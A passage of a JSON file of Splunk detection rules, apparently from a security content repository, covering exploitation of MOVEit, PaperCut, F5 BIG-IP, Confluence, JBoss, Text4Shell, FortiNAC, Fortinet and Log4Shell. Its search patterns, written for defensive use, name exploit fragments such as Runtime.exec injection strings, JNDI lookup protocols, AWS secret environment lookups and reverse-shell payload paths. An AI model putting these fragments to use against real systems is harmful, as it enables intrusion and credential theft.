Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows MOVEit Transfer Writing ASPX", - "description": "The following analytic detects the creation of new ASPX files in the MOVEit Transfer application's \"wwwroot\" directory. It leverages endpoint data on process and filesystem activity to identify processes responsible for creating these files. This activity is significant as it may indicate exploitation of a critical zero-day vulnerability in MOVEit Transfer, used by threat actors to install malicious ASPX files. If confirmed malicious, this could lead to exfiltration of sensitive data, including user credentials and file metadata, posing a severe risk to the organization's security.", - "search": "| tstats `security_content_summariesonly` count FROM datamodel=Endpoint.Processes where Processes.process_name=System by _time span=1h Processes.process_id Processes.process_name Processes.dest | `drop_dm_object_name(Processes)` | join process_guid, _time [| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Filesystem where Filesystem.file_path IN (\"*\\\\MOVEitTransfer\\\\wwwroot\\\\*\") Filesystem.file_name IN(\"*.aspx\", \"*.ashx\", \"*.asp*\") OR Filesystem.file_name IN (\"human2.aspx\",\"_human2.aspx\") by _time span=1h Filesystem.dest Filesystem.file_create_time Filesystem.file_name Filesystem.file_path | `drop_dm_object_name(Filesystem)` | fields _time dest file_create_time file_name file_path process_name process_path process] | dedup file_create_time | table dest file_create_time, file_name, file_path, process_name | `windows_moveit_transfer_writing_aspx_filter`", - "tags": { - "analytic_story": [ - "MOVEit Transfer Critical Vulnerability" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "The MOVEit application on $dest$ has written a new ASPX file to disk.", - "risk_score": 100, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows PaperCut NG Spawn Shell", - "description": "The following analytic detects instances where the PaperCut NG application (pc-app.exe) spawns a Windows shell, such as cmd.exe or PowerShell. This behavior is identified using Endpoint Detection and Response (EDR) telemetry, focusing on process creation events where the parent process is pc-app.exe. This activity is significant as it may indicate an attacker attempting to gain unauthorized access or execute malicious commands on the system. If confirmed malicious, this could lead to unauthorized code execution, privilege escalation, or further compromise of the affected environment.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.parent_process_name=pc-app.exe `process_cmd` OR `process_powershell` OR Processes.process_name=java.exe by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.original_file_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_papercut_ng_spawn_shell_filter`", - "tags": { - "analytic_story": [ - "PaperCut MF NG Vulnerability" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "The PaperCut NG application has spawned a shell $process_name$ on endpoint $dest$ by $user$.", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059", - "mitre_attack_technique": "Command and Scripting Interpreter", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT32", - "APT37", - "APT39", - "Dragonfly", - "FIN5", - "FIN6", - "FIN7", - "Fox Kitten", - "Ke3chang", - "OilRig", - "Stealth Falcon", - "Whitefly", - "Windigo" - ] - }, - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "F5 BIG-IP iControl REST Vulnerability CVE-2022-1388", - "description": "The following analytic detects attempts to exploit the F5 BIG-IP iControl REST API vulnerability (CVE-2022-1388) for unauthenticated remote code execution. It identifies suspicious URI paths and POST HTTP methods, along with specific request headers containing potential commands in the `utilcmdargs` field and a random base64 encoded value in the `X-F5-Auth-Token` field. This activity is significant as it targets a critical vulnerability that can allow attackers to execute arbitrary commands on the affected system. If confirmed malicious, this could lead to full system compromise and unauthorized access to sensitive data.", - "search": "| tstats count from datamodel=Web where Web.url=\"*/mgmt/tm/util/bash*\" Web.http_method=\"POST\" by Web.http_user_agent Web.http_method, Web.url,Web.url_length Web.src, Web.dest | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `f5_big_ip_icontrol_rest_vulnerability_cve_2022_1388_filter`", - "tags": { - "analytic_story": [ - "F5 BIG-IP Vulnerability CVE-2022-1388" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "An attempt to exploit CVE-2022-1388 against an F5 appliance $dest$ has occurred.", - "risk_score": 70, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Confluence Unauthenticated Remote Code Execution CVE-2022-26134", - "description": "The following analytic detects attempts to exploit CVE-2022-26134, an unauthenticated remote code execution vulnerability in Confluence. It leverages the Web datamodel to analyze network and CIM-compliant web logs, identifying suspicious URL patterns and parameters indicative of exploitation attempts. This activity is significant as it allows attackers to execute arbitrary code on the Confluence server without authentication, potentially leading to full system compromise. If confirmed malicious, this could result in unauthorized access, data exfiltration, and further lateral movement within the network. Immediate investigation and remediation are crucial to prevent extensive damage.", - "search": "| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url IN (\"*${*\", \"*%2F%7B*\") (Web.url=\"*org.apache.commons.io.IOUtils*\" Web.url=\"*java.lang.Runtime@getRuntime().exec*\") OR (Web.url=\"*java.lang.Runtime%40getRuntime%28%29.exec*\") OR (Web.url=\"*getEngineByName*\" AND Web.url=\"*nashorn*\" AND Web.url=\"*ProcessBuilder*\") by Web.http_user_agent Web.http_method, Web.url,Web.url_length Web.src, Web.dest sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `confluence_unauthenticated_remote_code_execution_cve_2022_26134_filter`", - "tags": { - "analytic_story": [ - "Atlassian Confluence Server and Data Center CVE-2022-26134", - "Confluence Data Center and Confluence Server Vulnerabilities" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "A URL was requested related to CVE-2022-26134, a unauthenticated remote code execution vulnerability, on $dest$ by $src$.", - "risk_score": 100, - "security_domain": "network", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Detect attackers scanning for vulnerable JBoss servers", - "description": "The following analytic identifies specific GET or HEAD requests to web servers that indicate reconnaissance attempts to find vulnerable JBoss servers. It leverages data from the Web data model, focusing on HTTP methods and URLs associated with JBoss management interfaces. This activity is significant because it often precedes exploitation attempts using tools like JexBoss, which can compromise the server. If confirmed malicious, attackers could gain unauthorized access, execute arbitrary code, or escalate privileges, leading to potential data breaches and system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where (Web.http_method=\"GET\" OR Web.http_method=\"HEAD\") AND (Web.url=\"*/web-console/ServerInfo.jsp*\" OR Web.url=\"*web-console*\" OR Web.url=\"*jmx-console*\" OR Web.url = \"*invoker*\") by Web.http_method, Web.url, Web.src, Web.dest | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_attackers_scanning_for_vulnerable_jboss_servers_filter`", - "tags": { - "analytic_story": [ - "JBoss Vulnerability", - "SamSam Ransomware" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1082", - "mitre_attack_technique": "System Information Discovery", - "mitre_attack_tactics": [ - "Discovery" - ], - "mitre_attack_groups": [ - "APT18", - "APT19", - "APT3", - "APT32", - "APT37", - "APT38", - "APT41", - "Aquatic Panda", - "Blue Mockingbird", - "Chimera", - "Confucius", - "Darkhotel", - "FIN13", - "FIN8", - "Gamaredon Group", - "HEXANE", - "Higaisa", - "Inception", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "Magic Hound", - "Malteiro", - "Moses Staff", - "MuddyWater", - "Mustang Panda", - "Mustard Tempest", - "OilRig", - "Patchwork", - "Rocke", - "Sandworm Team", - "SideCopy", - "Sidewinder", - "Sowbug", - "Stealth Falcon", - "TA2541", - "TeamTNT", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Windigo", - "Windshift", - "Wizard Spider", - "ZIRCONIUM", - "admin@338" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Exploit Public Facing Application via Apache Commons Text", - "description": "The following analytic detects attempts to exploit the CVE-2022-42889 vulnerability in the Apache Commons Text Library, known as Text4Shell. It leverages the Web datamodel to identify suspicious HTTP requests containing specific lookup keys (url, dns, script) that can lead to Remote Code Execution (RCE). This activity is significant as it targets a critical vulnerability that can allow attackers to execute arbitrary code on the server. If confirmed malicious, this could lead to full system compromise, data exfiltration, or further lateral movement within the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.http_method IN (POST, GET) by Web.src Web.status Web.uri_path Web.dest Web.http_method Web.uri_query Web.http_user_agent | `drop_dm_object_name(\"Web\")` | eval utf=if(like(lower(uri_query),\"%:utf-8:http%\"),2,0) | eval lookup = if(like(lower(uri_query), \"%url%\") OR like(lower(uri_query), \"%dns%\") OR like(lower(uri_query), \"%script%\"),2,0) | eval other_lookups = if(like(lower(uri_query), \"%env%\") OR like(lower(uri_query), \"%file%\") OR like(lower(uri_query), \"%getRuntime%\") OR like(lower(uri_query), \"%java%\") OR like(lower(uri_query), \"%localhost%\") OR like(lower(uri_query), \"%properties%\") OR like(lower(uri_query), \"%resource%\") OR like(lower(uri_query), \"%sys%\") OR like(lower(uri_query), \"%xml%\") OR like(lower(uri_query), \"%base%\"),1,0) | addtotals fieldname=Score utf lookup other_lookups | fields Score, src, dest, status, uri_query, uri_path, http_method, http_user_agent firstTime lastTime | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | where Score >= 3 | `exploit_public_facing_application_via_apache_commons_text_filter`", - "tags": { - "analytic_story": [ - "Text4Shell CVE-2022-42889" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "IP Address", - "role": [ - "Victim" - ] - }, - { - "name": "src", - "type": "IP Address", - "role": [ - "Attacker" - ] - } - ], - "message": "A URL was requested related to Text4Shell on $dest$ by $src$.", - "risk_score": 49, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1505.003", - "mitre_attack_technique": "Web Shell", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT32", - "APT38", - "APT39", - "APT5", - "BackdoorDiplomacy", - "Deep Panda", - "Dragonfly", - "FIN13", - "Fox Kitten", - "GALLIUM", - "HAFNIUM", - "Kimsuky", - "Leviathan", - "Magic Hound", - "Moses Staff", - "OilRig", - "Sandworm Team", - "Threat Group-3390", - "Tonto Team", - "Tropic Trooper", - "Volatile Cedar", - "Volt Typhoon" - ] - }, - { - "mitre_attack_id": "T1505", - "mitre_attack_technique": "Server Software Component", - "mitre_attack_tactics": [ - "Persistence" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Exploit Public-Facing Fortinet FortiNAC CVE-2022-39952", - "description": "The following analytic detects attempts to exploit the Fortinet FortiNAC CVE-2022-39952 vulnerability. It identifies HTTP POST requests to the URI configWizard/keyUpload.jsp with a payload.zip file. The detection leverages the Web datamodel, analyzing fields such as URL, HTTP method, and user agent. This activity is significant as it indicates an attempt to exploit a known vulnerability, potentially leading to remote code execution. If confirmed malicious, attackers could gain control over the affected system, schedule malicious tasks, and establish persistent access via a remote command and control (C2) server.", - "search": "| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url IN (\"*configWizard/keyUpload.jsp*\") by Web.http_user_agent, Web.status Web.http_method, Web.url, Web.url_length, Web.src, Web.dest, sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `exploit_public_facing_fortinet_fortinac_cve_2022_39952_filter`", - "tags": { - "analytic_story": [ - "Fortinet FortiNAC CVE-2022-39952" - ], - "asset_type": "Network", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Potential CVE-2022-39952 against a Fortinet NAC may be occurring against $dest$.", - "risk_score": 64, - "security_domain": "network", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Fortinet Appliance Auth bypass", - "description": "The following analytic detects attempts to exploit CVE-2022-40684, a Fortinet appliance authentication bypass vulnerability. It identifies REST API requests to the /api/v2/ endpoint using various HTTP methods (GET, POST, PUT, DELETE) that may indicate unauthorized modifications, such as adding SSH keys or creating new users. This detection leverages the Web datamodel to monitor specific URL patterns and HTTP methods. This activity is significant as it can lead to unauthorized access and control over the appliance. If confirmed malicious, attackers could gain persistent access, reroute network traffic, or capture sensitive information.", - "search": "| tstats count min(_time) as firstTime max(_time) as lastTime from datamodel=Web where Web.url IN (\"*/api/v2/cmdb/system/admin*\") Web.http_method IN (\"GET\", \"PUT\") by Web.http_user_agent, Web.http_method, Web.url, Web.url_length, Web.src, Web.dest, sourcetype | `drop_dm_object_name(\"Web\")` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `fortinet_appliance_auth_bypass_filter`", - "tags": { - "analytic_story": [ - "CVE-2022-40684 Fortinet Appliance Auth bypass" - ], - "asset_type": "Network", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Potential CVE-2022-40684 against a Fortinet appliance may be occurring against $dest$.", - "risk_score": 81, - "security_domain": "network", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - "APT39", - "APT41", - "APT5", - "Axiom", - "BackdoorDiplomacy", - "BlackTech", - "Blue Mockingbird", - "Cinnamon Tempest", - "Dragonfly", - "Earth Lusca", - "FIN13", - "FIN7", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "HAFNIUM", - "Ke3chang", - "Kimsuky", - "Magic Hound", - "Moses Staff", - "MuddyWater", - "Rocke", - "Sandworm Team", - "Threat Group-3390", - "ToddyCat", - "Volatile Cedar", - "Volt Typhoon", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1133", - "mitre_attack_technique": "External Remote Services", - "mitre_attack_tactics": [ - "Initial Access", - "Persistence" - ], - "mitre_attack_groups": [ - "APT18", - "APT28", - "APT29", - "APT41", - "Akira", - "Chimera", - "Dragonfly", - "FIN13", - "FIN5", - "GALLIUM", - "GOLD SOUTHFIELD", - "Ke3chang", - "Kimsuky", - "LAPSUS$", - "Leviathan", - "OilRig", - "Sandworm Team", - "Scattered Spider", - "TeamTNT", - "Threat Group-3390", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Hunting for Log4Shell", - "description": "The following analytic detects potential exploitation attempts of the Log4Shell vulnerability (CVE-2021-44228) by analyzing HTTP headers for specific patterns. It leverages the Web Datamodel and evaluates various indicators such as the presence of `{jndi:`, environment variables, and common URI paths. This detection is significant as Log4Shell allows remote code execution, posing a severe threat to systems. If confirmed malicious, attackers could gain unauthorized access, execute arbitrary code, and potentially compromise sensitive data, leading to extensive damage and data breaches.", - "search": "| from datamodel Web.Web | eval jndi=if(match(_raw, \"(\\{|%7B)[jJnNdDiI]{4}:\"),4,0) | eval jndi_fastmatch=if(match(_raw, \"[jJnNdDiI]{4}\"),2,0) | eval jndi_proto=if(match(_raw,\"(?i)jndi:(ldap[s]?|rmi|dns|nis|iiop|corba|nds|http|https):\"),5,0) | eval all_match = if(match(_raw, \"(?i)(%(25){0,}20|\\s)*(%(25){0,}24|\\$)(%(25){0,}20|\\s)*(%(25){0,}7B|{)(%(25){0,}20|\\s)*(%(25){0,}(6A|4A)|J)(%(25){0,}(6E|4E)|N)(%(25){0,}(64|44)|D)(%(25){0,}(69|49)|I)(%(25){0,}20|\\s)*(%(25){0,}3A|:)[\\w\\%]+(%(25){1,}3A|:)(%(25){1,}2F|\\/)[^\\n]+\"),5,0) | eval env_var = if(match(_raw, \"env:\") OR match(_raw, \"env:AWS_ACCESS_KEY_ID\") OR match(_raw, \"env:AWS_SECRET_ACCESS_KEY\"),5,0) | eval uridetect = if(match(_raw, \"(?i)Basic\\/Command\\/Base64|Basic\\/ReverseShell|Basic\\/TomcatMemshell|Basic\\/JBossMemshell|Basic\\/WebsphereMemshell|Basic\\/SpringMemshell|Basic\\/Command|Deserialization\\/CommonsCollectionsK|Deserialization\\/CommonsBeanutils|Deserialization\\/Jre8u20\\/TomcatMemshell|Deserialization\\/CVE_2020_2555\\/WeblogicMemshell|TomcatBypass|GroovyBypass|WebsphereBypass\"),4,0) | eval keywords = if(match(_raw,\"(?i)\\$\\{ctx\\:loginId\\}|\\$\\{map\\:type\\}|\\$\\{filename\\}|\\$\\{date\\:MM-dd-yyyy\\}|\\$\\{docker\\:containerId\\}|\\$\\{docker\\:containerName\\}|\\$\\{docker\\:imageName\\}|\\$\\{env\\:USER\\}|\\$\\{event\\:Marker\\}|\\$\\{mdc\\:UserId\\}|\\$\\{java\\:runtime\\}|\\$\\{java\\:vm\\}|\\$\\{java\\:os\\}|\\$\\{jndi\\:logging/context-name\\}|\\$\\{hostName\\}|\\$\\{docker\\:containerId\\}|\\$\\{k8s\\:accountName\\}|\\$\\{k8s\\:clusterName\\}|\\$\\{k8s\\:containerId\\}|\\$\\{k8s\\:containerName\\}|\\$\\{k8s\\:host\\}|\\$\\{k8s\\:labels.app\\}|\\$\\{k8s\\:labels.podTemplateHash\\}|\\$\\{k8s\\:masterUrl\\}|\\$\\{k8s\\:namespaceId\\}|\\$\\{k8s\\:namespaceName\\}|\\$\\{k8s\\:podId\\}|\\$\\{k8s\\:podIp\\}|\\$\\{k8s\\:podName\\}|\\$\\{k8s\\:imageId\\}|\\$\\{k8s\\:imageName\\}|\\$\\{log4j\\:configLocation\\}|\\$\\{log4j\\:configParentLocation\\}|\\$\\{spring\\:spring.application.name\\}|\\$\\{main\\:myString\\}|\\$\\{main\\:0\\}|\\$\\{main\\:1\\}|\\$\\{main\\:2\\}|\\$\\{main\\:3\\}|\\$\\{main\\:4\\}|\\$\\{main\\:bar\\}|\\$\\{name\\}|\\$\\{marker\\}|\\$\\{marker\\:name\\}|\\$\\{spring\\:profiles.active[0]|\\$\\{sys\\:logPath\\}|\\$\\{web\\:rootDir\\}|\\$\\{sys\\:user.name\\}\"),4,0) | eval obf = if(match(_raw, \"(\\$|%24)[^ /]*({|%7b)[^ /]*(j|%6a)[^ /]*(n|%6e)[^ /]*(d|%64)[^ /]*(i|%69)[^ /]*(:|%3a)[^ /]*(:|%3a)[^ /]*(/|%2f)\"),5,0) | eval lookups = if(match(_raw, \"(?i)({|%7b)(main|sys|k8s|spring|lower|upper|env|date|sd)\"),4,0) | addtotals fieldname=Score, jndi, jndi_proto, env_var, uridetect, all_match, jndi_fastmatch, keywords, obf, lookups | where Score > 2 | stats values(Score) by jndi, jndi_proto, env_var, uridetect, all_match, jndi_fastmatch, keywords, lookups, obf, dest, src, http_method, _raw | `hunting_for_log4shell_filter`", - "tags": { - "analytic_story": [ - "CISA AA22-320A", - "Log4Shell CVE-2021-44228" - ], - "asset_type": "Web Server", - "cis20": [ - "CIS 13" - ], - "kill_chain_phases": [ - "Delivery", - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "http_method", - "type": "Other", - "role": [ - "Other" - ] - }, - { - "name": "src", - "type": "Other", - "role": [ - "Other" - ] - } - ], - "message": "Hunting for Log4Shell exploitation has occurred.", - "risk_score": 40, - "security_domain": "network", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1190", - "mitre_attack_technique": "Exploit Public-Facing Application", - "mitre_attack_tactics": [ - "Initial Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT29", - 